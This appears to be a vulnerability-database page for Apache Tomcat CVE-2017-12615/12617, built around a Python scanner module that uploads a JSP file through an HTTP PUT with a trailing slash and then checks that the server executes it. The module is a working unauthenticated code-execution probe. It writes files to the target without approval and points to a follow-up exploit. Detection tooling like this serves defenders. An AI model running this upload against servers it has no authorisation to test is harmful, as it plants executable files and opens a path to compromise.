Lucene search
+L

Apache Tomcat - PUT JSP Upload Detection (CVE-2017-12615/12617)

🗓️ 10 Aug 2026 06:19:08Reported by KittySploitType 
kittysploit
 kittysploit
🔗 kittysploit.com

Unauthenticated RCE in Apache Tomcat via PUT JSP upload.

Related
Refs
Code
ReporterTitlePublishedViews
Family
gitee
Gitee
Exploit for Unrestricted Upload of File with Dangerous Type in Apache Tomcat
16 May 202116:14
–gitee
gitee
Gitee
Exploit for Unrestricted Upload of File with Dangerous Type in Apache Tomcat
27 Apr 202114:33
–gitee
gitee
Gitee
Exploit for Unrestricted Upload of File with Dangerous Type in Apache Tomcat
6 Jul 202503:24
–gitee
gitee
Gitee
Exploit for Argument Injection in Phpmailer_Project Phpmailer
5 Dec 201914:28
–gitee
gitee
Gitee
Exploit for Unrestricted Upload of File with Dangerous Type in Apache Tomcat
22 Oct 202115:45
–gitee
ibm
IBM Security Bulletins
Security Bulletin: Multiple Security Vulnerabilities in Apache Tomcat affect IBM Rational License Key Server Administration and Reporting Tool
17 Jun 201805:23
–ibm
ibm
IBM Security Bulletins
Security Bulletin: Multiple security vulnerabilities have been identified in Jazz Reporting Service shipped with Rational Insight (CVE-2017-12615, CVE-2017-12616, CVE-2017-12617)
17 Jun 201805:23
–ibm
ibm
IBM Security Bulletins
Security Bulletin: Security vulnerabilities in Apache Tomcat affect multiple IBM Rational products based on IBM's Jazz technology
28 Apr 202118:35
–ibm
ibm
IBM Security Bulletins
Security Bulletin: Rational Build Forge Security Advisory for Apache HTTPD, Apache Tomcat and OpenSSL Upgrade
17 Jun 201805:24
–ibm
ibm
IBM Security Bulletins
Security Bulletin: WebSphere Message Broker and IBM Integration Bus is affected by Open Source Apache Tomcat Vulnerabilities (CVE-2017-12617,CVE-2017-12615)
23 Mar 202020:41
–ibm
Rows per page
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""Apache Tomcat HTTP PUT JSP upload RCE (CVE-2017-12615 / CVE-2017-12617)."""

from kittysploit import *
from lib.protocols.http.http_client import Http_client


class Module(Scanner, Http_client):
    __info__ = {
        'name': 'Apache Tomcat - PUT JSP Upload Detection (CVE-2017-12615/12617)',
        'description': (
            'Detects CVE-2017-12615/12617 by PUT-uploading a JSP via trailing-slash path '
            'and verifying execution on GET.'
        ),
        'author': ['KittySploit Team'],
        'severity': 'critical',
        'tags': [
            'web', 'scanner', 'cve', 'cve2017', 'tomcat', 'rce', 'upload', 'unauth', 'vuln',
        ],
        'agent': {
            'risk': 'active',
            'effects': ['network_probe'],
            'expected_requests': 2,
            'reversible': False,
            'approval_required': False,
            'produces': ['tech_hints', 'risk_signals', 'endpoints'],
            'cost': 1.0,
            'noise': 0.5,
            'value': 1.0,
            'requires': {
                'min_endpoints': 0, 'min_params': 0,
                'tech_hints_any': [], 'tech_hints_all': [],
                'specializations_any': [], 'risk_signals_any': [],
                'auth_session': False, 'capabilities_any': [], 'capabilities_all': [],
                'confidence_min': {}, 'confidence_min_any': {},
                'endpoint_pattern_any': [], 'param_any': [], 'api_surface_ready': False,
            },
            'chain': {
                'produces_capabilities': [{'capability': 'risk_signal', 'from_detail': ''}],
                'consumes_capabilities': [],
                'option_bindings': {},
                'suggested_followups': ['exploits/multi/http/tomcat_cve_2017_12617_rce'],
            },
        },
        'references': [
            'https://nvd.nist.gov/vuln/detail/CVE-2017-12615',
            'https://nvd.nist.gov/vuln/detail/CVE-2017-12617',
        ],
        'cve': 'CVE-2017-12617',
    }

    def run(self):
        marker = 'Reproducing CVE-2017-12617'
        name = self.random_text(10).lower() + '.jsp'
        put_path = f'/{name}/'
        get_path = f'/{name}'
        body = f'<% out.println("{marker}");%>'
        r = self.http_request(
            method='PUT', path=put_path, data=body, allow_redirects=False,
        )
        if not r or r.status_code not in (201, 204):
            return False
        g = self.http_request(method='GET', path=get_path, allow_redirects=False)
        if g and marker in (g.text or ''):
            self.set_info(
                severity='critical',
                reason='Tomcat PUT JSP upload (CVE-2017-12615/12617)',
                path=get_path,
            )
            return True
        return False

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

10 Aug 2026 06:19Current
7.3High risk
Vulners AI Score7.3
CVSS 26.8
CVSS 3.18.1
EPSS0.99968
SSVC
0